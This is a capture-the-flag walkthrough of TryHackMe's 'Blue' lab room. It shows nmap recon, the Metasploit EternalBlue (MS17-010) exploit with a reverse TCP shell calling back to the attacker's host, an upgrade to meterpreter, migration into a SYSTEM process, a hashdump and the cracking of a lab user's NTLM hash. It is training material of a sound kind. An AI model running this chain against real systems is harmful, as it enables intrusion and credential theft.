> For the complete documentation index, see [llms.txt](https://blog.syselement.com/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.syselement.com/home/cyber-everything/writeups-walkthroughs/tryhackme/practice/easy/blue.md).

# Blue

![tryhackme.com - © TryHackMe](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-b2e002eade8dde2278b2f87e7fe1aef9362cddda%2Ftryhackme-logo-small.png?alt=media)

***

## Intro

| Room Info            | ![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-78db415e33d2c34289e8e5caeba1f61541de24e6%2Fezgif-2-016707f505.jpg?alt=media) |
| -------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 🔗 Name              | [Blue](https://tryhackme.com/room/blue)                                                                                                                                                                           |
| 🎯 Target IP         | `10.10.177.175`                                                                                                                                                                                                   |
| 📈 Difficulty level  | 🟢Easy                                                                                                                                                                                                            |
| 💲 Subscription type | Free                                                                                                                                                                                                              |
| 🪟 OS                | Windows                                                                                                                                                                                                           |

***

## Recon

```bash
nmap -p1-1000 10.10.177.175
nmap -sV -p445 10.10.177.175
nmap --script smb-vuln-ms17-010 -p445 10.10.177.175
```

***

## Exploitation

```bash
msfconsole -q
```

```bash
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/reverse_tcp
set RHOSTS 10.10.177.175
set LHOST 10.18.65.48
# LHOST = tun0 VPN interface IP
run

background # or CTRL+Z
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-30ddb11e76d75cbfdaea7ae23c1ccbadc270a330%2Fimage-20230316134157848.png?alt=media)

***

## Privilege Escalation

* Used payload was `windows/x64/shell/reverse_tcp`, so convert the shell to a `meterpreter` shell.

```bash
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
sessions
set SESSION 2
run
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-0963cc825fb84ffa20c1ad7f06298c5f6aed0eff%2Fimage-20230316141128868.png?alt=media)

```bash
sessions 5
getuid
	Server username: NT AUTHORITY\SYSTEM
ps
```

* My process may not run as `SYSTEM` user. Select a `PID` (process ID) with the `NT AUTHORITY\SYSTEM` user, and migrate my process to that one. `e.g.` 1284 - spoolsv.exe

```bash
migrate 1284
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-24cc4368c68260846169bc36641541d86eac5234%2Fimage-20230316141809336.png?alt=media)

***

## Post Exploitation

### Cracking

```bash
hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

<Username>:<User ID>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
```

`aad3b435b51404eeaad3b435b51404ee` is the LM hash for ***no password***.

```bash
echo 'ffb43f0de35be4d9917ac0cc8ad57f8d' > jonhash.txt

john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt jonhash.txt
```

`ffb43f0de35be4d9917ac0cc8ad57f8d` is the NTLM hash for `alqfna22`.

Jon's credentials are `jon`:`alqfna22`.

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-232f3a6d1af9bfaa10883e590effbbfd9c78d72d%2Fimage-20230316142843628.png?alt=media)

## Flags

* 🚩 In the `meterpreter` session

```bash
cd C:\\
dir
cat flag1.txt
flag{*******************
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-e01b39447369b979efcdfa2d9e393fecdb0b900c%2F2024-10-20_22-09-30_758.png?alt=media)

```bash
cd C:/Windows/System32/config
cat flag2.txt
flag{*****************************
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-c57e3358e6b0f7e6ebc4df1f7184ba3b73269db5%2F2024-10-20_22-11-22_759.png?alt=media)

```bash
cd C:\\Users\\
dir
cd Jon
cd Documents
cat flag3.txt
flag{********************************
```

![](https://1099202751-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEhofjMfYbx3gOUSReXD7%2Fuploads%2Fgit-blob-54ea06e0bc1e67dab2a75d8906cd15beb991a7b4%2F2024-10-20_22-12-04_760.png?alt=media)

***